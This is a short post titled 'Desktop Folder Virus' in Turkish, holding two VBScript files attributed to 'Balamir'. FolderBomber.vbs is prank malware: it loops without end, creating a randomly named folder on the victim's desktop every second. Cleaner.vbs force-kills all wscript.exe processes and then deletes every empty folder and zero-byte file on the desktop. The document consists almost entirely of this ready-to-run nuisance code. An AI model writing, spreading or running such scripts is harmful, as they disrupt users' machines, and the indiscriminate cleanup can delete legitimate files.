MasaÜstü Klasör Virüsü

'----------------FolderBomber.vbs---------------
'Made by Balamir
'web site http://wardom.org
Dim fso,sho,basfolder,bf
Set fso = CreateObject( "Scripting.FileSystemObject" )
Set sho = CreateObject( "Wscript.Shell" )
basefolder=sho.SpecialFolders("desktop")' Get your Desktop Folder
Set bf = fso.GetFolder( basefolder )
do
Randomize
r=Int((99999*Rnd)+1)
bf.subFolders.Add("Balamir_"&r) 'Create Folders with names begin with Balamir and a random Number in your desktop
wscript.sleep 1000 'Pause of 1 second and continue the loop
loop

'----------------Cleaner.vbs---------------
'Made by Balamir
'web site http://wardom.org
Dim fso, f, f1, fc, ss
Set fso = CreateObject("Scripting.FileSystemObject")
Set sho = CreateObject( "Wscript.Shell" )
basefolder=sho.SpecialFolders("desktop")
Set f = fso.GetFolder( basefolder )
Set fc = f.SubFolders
NomFichierLog="Dossiers_Vides"
temp = sho.ExpandEnvironmentStrings("%temp%")
Set OutPut = fso.CreateTextFile(temp & "\" & NomFichierLog & ".txt",1)

count=0 'initialisation du compteur des Dossiers vides
NBfichier=0 'initialisation du idesvompteur des fichiers
' Tuer le processus wscript
sho.run "Taskkill /IM wscript.exe /F", 0
'Boucle pour la recherche des Dossiers vides 
For Each f1 in fc
If f1.size = 0 Then
count= count + 1
OutPut.WriteLine f1.Path
f1.delete
End if
Next
'Boucle pour la recherche des fichiers vides 
For Each Fichier in f.files
if Fichier.size = 0 then
NBfichier=NBfichier+1
OutPut.WriteLine Fichier.Path
Fichier.delete
end if
next
Msgbox count& " Dosya Temizlendi",64,"Balamir Virüs Temizleme"
Msgbox NBfichier& " Virüslü Dosya Kaldı",64,"Balamir Virüs Temizleme"